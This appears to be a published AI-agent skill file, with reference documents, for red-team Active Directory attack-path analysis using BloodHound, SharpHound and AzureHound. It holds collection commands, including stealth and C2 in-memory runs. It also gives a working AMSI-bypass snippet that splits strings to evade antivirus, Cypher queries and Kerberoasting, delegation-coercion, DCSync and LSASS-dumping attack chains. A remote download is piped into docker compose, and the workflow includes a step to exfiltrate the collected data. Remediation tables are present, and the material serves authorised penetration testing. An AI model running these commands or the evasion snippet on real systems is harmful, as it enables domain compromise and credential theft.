What it does. Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysis, or copy the skill folder into ~/.claude/skills/performing-active-directory-bloodhound-analysis/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/SKILL.md
SKILL.md (verbatim)
name: performing-active-directory-bloodhound-analysis
description: Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory
relationships and graph attack paths from a compromised user to Domain Admin. Use
when performing AD red-team reconnaissance, mapping privilege-escalation chains
from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.
domain: cybersecurity
subdomain: red-teaming
tags:
- bloodhound
- active-directory
- sharphound
- attack-path
- ad-enumeration
- graph-theory
- privilege-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Restore Access
- Password Authentication
- Biometric Authentication
- Strong Password Policy
- Restore User Account Access
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
Performing Active Directory BloodHound Analysis
Overview
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
When to Use
- When conducting security assessments that involve performing active directory bloodhound analysis
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Initial foothold on a domain-joined Windows system (or valid domain credentials)
- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
- SharpHound collector (C# binary or PowerShell module)
- Neo4j database (Legacy) or PostgreSQL (CE)
- Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID |
Name |
Tactic |
| T1087.002 |
Account Discovery: Domain Account |
Discovery |
| T1069.002 |
Permission Groups Discovery: Domain Groups |
Discovery |
| T1018 |
Remote System Discovery |
Discovery |
| T1482 |
Domain Trust Discovery |
Discovery |
| T1615 |
Group Policy Discovery |
Discovery |
| T1069.001 |
Permission Groups Discovery: Local Groups |
Discovery |
Step 1: Data Collection with SharpHound
SharpHound.exe (Preferred for OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
Step 2: Import Data into BloodHound
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUI
Step 3: Attack Path Analysis
Pre-Built Queries (Most Critical)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
Custom Cypher Queries
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
Step 4: Common Attack Paths
Path 1: Kerberoasting to DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
Path 2: ACL Abuse Chain
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
Path 3: Unconstrained Delegation
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
Path 4: GPO Abuse
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM
| Finding |
Risk |
Remediation |
| Kerberoastable DA |
Critical |
Use gMSA, rotate passwords, AES-only |
| Unconstrained Delegation |
Critical |
Migrate to constrained/RBCD delegation |
| Domain Users local admin |
High |
Remove DA from local admin, use LAPS |
| Excessive ACL permissions |
High |
Audit and reduce GenericAll/WriteDACL |
| Stale admin sessions |
Medium |
Implement session cleanup, restrict RDP |
| Cross-domain trust abuse |
High |
Review trust direction and SID filtering |
References
Other files in this skill
assets/template.md (verbatim)
BloodHound Analysis Report Template
Engagement Details
| Field |
Value |
| Engagement ID |
[ID] |
| Domain |
[domain.local] |
| Collection Date |
YYYY-MM-DD |
| Collector |
SharpHound v2.x |
| Analyst |
[Name] |
Domain Statistics
| Metric |
Count |
| Users |
XXX |
| Enabled Users |
XXX |
| Computers |
XXX |
| Groups |
XXX |
| Domain Admins |
XX |
| OUs |
XX |
| GPOs |
XX |
| Trusts |
XX |
High-Risk Findings Summary
| # |
Finding |
Severity |
Count |
MITRE |
| 1 |
Kerberoastable Accounts |
Critical |
XX |
T1558.003 |
| 2 |
Unconstrained Delegation (non-DC) |
Critical |
XX |
T1558.001 |
| 3 |
AS-REP Roastable Accounts |
High |
XX |
T1558.004 |
| 4 |
Constrained Delegation Abuse |
High |
XX |
T1550.003 |
| 5 |
Excessive ACL Permissions |
High |
XX |
T1484 |
| 6 |
Domain Users = Local Admin |
High |
XX |
T1078.002 |
| 7 |
Stale Admin Sessions |
Medium |
XX |
T1550.002 |
Attack Paths Identified
Path 1: Kerberoasting to Domain Admin
[Owned User]
-> Kerberoast SVC_SQL@CORP.LOCAL (T1558.003)
-> Crack hash offline (hashcat -m 13100)
-> SVC_SQL AdminTo SQL01 (T1078.002)
-> SQL01 HasSession DA_ADMIN (T1033)
-> Dump LSASS on SQL01 (T1003.001)
-> Domain Admin achieved
Feasibility: High - Service account uses weak password
Detection Risk: Low - Kerberoasting generates minimal logs by default
Path 2: ACL Abuse Chain
[Owned User]
-> GenericAll on HELPDESK_ADMIN (T1484)
-> ForceChangePassword on HELPDESK_ADMIN
-> HELPDESK_ADMIN MemberOf IT_ADMINS
-> IT_ADMINS AdminTo DC01
-> Domain Admin achieved
Feasibility: Medium - Requires interaction with target account
Detection Risk: Medium - Password reset generates Event ID 4724
Path 3: Delegation Abuse
[Owned User]
-> AdminTo WEB01 (unconstrained delegation)
-> Deploy Rubeus monitor on WEB01
-> Coerce DC01 auth via PetitPotam (T1187)
-> Capture DC01$ TGT
-> Pass the Ticket to DC01 (T1550.003)
-> DCSync (T1003.006)
-> Domain Admin achieved
Feasibility: High - Unconstrained delegation on non-DC
Detection Risk: High - PetitPotam coercion may trigger alerts
Kerberoastable Accounts
Unconstrained Delegation
| Computer |
OS |
Domain Controller |
Risk |
| WEB01.CORP.LOCAL |
Server 2019 |
No |
Critical |
| PRINT01.CORP.LOCAL |
Server 2016 |
No |
Critical |
ACL Misconfigurations
- Remove unconstrained delegation from WEB01, PRINT01
- Reset passwords on Kerberoastable privileged accounts (25+ chars)
- Remove GenericAll permission from HELPDESK on IT_ADMINS
Short-Term (7-30 days)
- Migrate service accounts to Group Managed Service Accounts (gMSA)
- Enable AES-only Kerberos encryption for service accounts
- Add privileged accounts to Protected Users group
- Implement LAPS for local administrator passwords
Long-Term (30-90 days)
- Implement Active Directory Tier Model
- Deploy Privileged Access Workstations (PAWs)
- Enable Advanced Audit Policy for Kerberos events
- Conduct quarterly BloodHound assessments
references/api-reference.md (verbatim)
API Reference: BloodHound AD Attack Path Analysis
neo4j Python Driver
from neo4j import GraphDatabase
driver = GraphDatabase.driver(uri, auth=(user, password))
driver.verify_connectivity()
with driver.session() as session:
results = session.run(query, parameters)
records = [dict(record) for record in results]
driver.close()
Key BloodHound Cypher Queries
Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, u.enabled
Shortest Path to DA
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group))
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, length(p) AS hops ORDER BY hops
Kerberoastable Users
MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true
RETURN u.name, u.serviceprincipalnames
Unconstrained Delegation
MATCH (c:Computer) WHERE c.unconstraineddelegation=true
RETURN c.name, c.operatingsystem
BloodHound Node Types
| Node |
Properties |
| User |
name, enabled, hasspn, admincount, owned, dontreqpreauth |
| Computer |
name, operatingsystem, unconstraineddelegation, enabled |
| Group |
name, admincount, objectid |
| GPO |
name, gpcpath |
| OU |
name, guid |
BloodHound Edge Types
| Edge |
Meaning |
| MemberOf |
Group membership |
| AdminTo |
Local admin rights |
| HasSession |
Active session on computer |
| GenericAll |
Full object control |
| WriteDacl |
Can modify ACL |
| GpLink |
GPO linked to OU |
references/standards.md (verbatim)
Standards and References: BloodHound AD Analysis
MITRE ATT&CK Techniques
Discovery (TA0007)
- T1087.002 - Account Discovery: Domain Account
- T1069.001 - Permission Groups Discovery: Local Groups
- T1069.002 - Permission Groups Discovery: Domain Groups
- T1018 - Remote System Discovery
- T1482 - Domain Trust Discovery
- T1615 - Group Policy Discovery
- T1016 - System Network Configuration Discovery
- T1049 - System Network Connections Discovery
- T1033 - System Owner/User Discovery
Lateral Movement (TA0008) - Paths Identified by BloodHound
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1021.002 - Remote Services: SMB/Windows Admin Shares
- T1021.001 - Remote Services: Remote Desktop Protocol
- T1021.006 - Remote Services: Windows Remote Management
Credential Access (TA0006) - Attacks Enabled by BloodHound
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
Privilege Escalation (TA0004)
- T1484.001 - Domain Policy Modification: Group Policy Modification
- T1078.002 - Valid Accounts: Domain Accounts
- T1134 - Access Token Manipulation
BloodHound Software Entry
- MITRE ATT&CK ID: S0521
- Type: Tool
- Platforms: Windows, Azure AD
- Associated Groups: FIN7, APT29, Wizard Spider
NIST References
- NIST SP 800-53 Rev. 5 - AC-6: Least Privilege
- NIST SP 800-53 Rev. 5 - AC-2: Account Management
- NIST SP 800-53 Rev. 5 - IA-5: Authenticator Management
- NIST SP 800-171 - 3.1.5: Least Privilege
CIS Benchmarks
- CIS Microsoft Windows Server 2022 - Section 2.3.10: Network access
- CIS Active Directory Benchmark - Section 1: Account Policies
- CIS Controls v8 - Control 6: Access Control Management
- CIS Controls v8 - Control 5: Account Management
Active Directory Security Hardening Standards
- Microsoft Tier Model for Active Directory Administration
- Microsoft Privileged Access Workstation (PAW) Architecture
- ANSSI Active Directory Security Hardening Guide
- ASD Essential Eight: Restrict Administrative Privileges
references/workflows.md (verbatim)
Workflows: BloodHound AD Analysis
BloodHound Analysis Workflow
┌─────────────────────────────────────────────────────────────────┐
│ BLOODHOUND ANALYSIS WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. DATA COLLECTION │
│ ├── Select collector (SharpHound/AzureHound) │
│ ├── Choose collection method │
│ │ ├── All (comprehensive, noisy) │
│ │ ├── DCOnly (LDAP only, stealthier) │
│ │ ├── Session (user sessions on computers) │
│ │ └── ACL (permission relationships) │
│ ├── Execute collection │
│ └── Exfiltrate ZIP to analysis workstation │
│ │
│ 2. DATA IMPORT │
│ ├── Start BloodHound CE/Neo4j │
│ ├── Upload collection ZIP │
│ ├── Verify node counts (Users, Computers, Groups) │
│ └── Mark owned principals and high-value targets │
│ │
│ 3. INITIAL ANALYSIS │
│ ├── Run pre-built analytics │
│ │ ├── Find all Domain Admins │
│ │ ├── Find Kerberoastable accounts │
│ │ ├── Find AS-REP Roastable accounts │
│ │ ├── Find unconstrained delegation │
│ │ └── Find shortest paths to DA │
│ ├── Identify high-value targets │
│ └── Document initial findings │
│ │
│ 4. ATTACK PATH IDENTIFICATION │
│ ├── Mark owned nodes │
│ ├── Shortest path from owned to DA │
│ ├── Analyze ACL abuse paths │
│ │ ├── GenericAll / GenericWrite │
│ │ ├── WriteDACL / WriteOwner │
│ │ ├── ForceChangePassword │
│ │ └── AddMember │
│ ├── Analyze delegation abuse │
│ ├── Analyze GPO abuse paths │
│ └── Prioritize attack paths by feasibility │
│ │
│ 5. EXPLOITATION │
│ ├── Execute selected attack path │
│ ├── Kerberoast service accounts │
│ ├── Abuse ACL misconfigurations │
│ ├── Leverage delegation settings │
│ └── Mark newly owned principals │
│ │
│ 6. REPORTING │
│ ├── Export attack path screenshots │
│ ├── Document each hop in attack chain │
│ ├── Map to MITRE ATT&CK techniques │
│ ├── Provide remediation for each finding │
│ └── Generate AD hardening recommendations │
│ │
└─────────────────────────────────────────────────────────────────┘
SharpHound Collection Method Selection
Collection Method Decision
│
├── Need comprehensive data?
│ └── Use -c All (Collects everything)
│ Warning: Noisy, generates LDAP and SMB traffic
│
├── Need stealth?
│ └── Use -c DCOnly (Queries only DCs via LDAP)
│ Limitation: No session or local group data
│
├── Need session data over time?
│ └── Use -c Session --loop
│ Best for: Finding where admins are logged in
│
├── Azure AD environment?
│ └── Use AzureHound
│ Collects: Roles, App Registrations, Service Principals
│
└── Minimal footprint needed?
└── Use -c Group,ACL
Collects: Group memberships and ACL relationships only
Attack Path Exploitation Decision Tree
BloodHound Shows Path to DA
│
├── Path via Kerberoastable account?
│ ├── Request TGS ticket (Rubeus/GetUserSPNs)
│ ├── Crack with hashcat (-m 13100)
│ └── Use cracked credential to continue path
│
├── Path via ACL abuse?
│ ├── GenericAll on user? → ForceChangePassword
│ ├── GenericAll on group? → Add self to group
│ ├── WriteDACL? → Grant self GenericAll, then abuse
│ ├── WriteOwner? → Change owner, then modify DACL
│ └── AddMember? → Add self to privileged group
│
├── Path via delegation?
│ ├── Unconstrained? → Coerce DC auth + capture TGT
│ ├── Constrained? → S4U2Self + S4U2Proxy abuse
│ └── RBCD? → Configure msDS-AllowedToActOnBehalf
│
├── Path via GPO?
│ ├── GenericWrite on GPO? → Add scheduled task
│ └── GpLink control? → Link malicious GPO to OU
│
└── Path via session?
├── Admin on computer with DA session?
├── Dump LSASS for DA credentials
└── Or steal token/ticket
BloodHound Edge Reference
| Edge Type |
Meaning |
Abuse Method |
| MemberOf |
Group membership |
Inherit group permissions |
| AdminTo |
Local admin rights |
PsExec, WMI, WinRM |
| HasSession |
User logged in |
Credential theft |
| GenericAll |
Full control |
Reset password, modify object |
| GenericWrite |
Write properties |
Set SPN, modify attributes |
| WriteDacl |
Modify permissions |
Grant self full control |
| WriteOwner |
Change owner |
Take ownership then WriteDacl |
| ForceChangePassword |
Reset password |
Change user password |
| AddMember |
Add to group |
Add self to privileged group |
| AllowedToDelegate |
Constrained delegation |
S4U2Proxy abuse |
| AllowedToAct |
RBCD |
Resource-based constrained delegation |
| CanRDP |
RDP access |
Remote desktop connection |
| CanPSRemote |
WinRM access |
PowerShell remoting |
| ExecuteDCOM |
DCOM execution |
Remote code execution |
| GPLink |
GPO linked to OU |
Modify GPO for code execution |
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.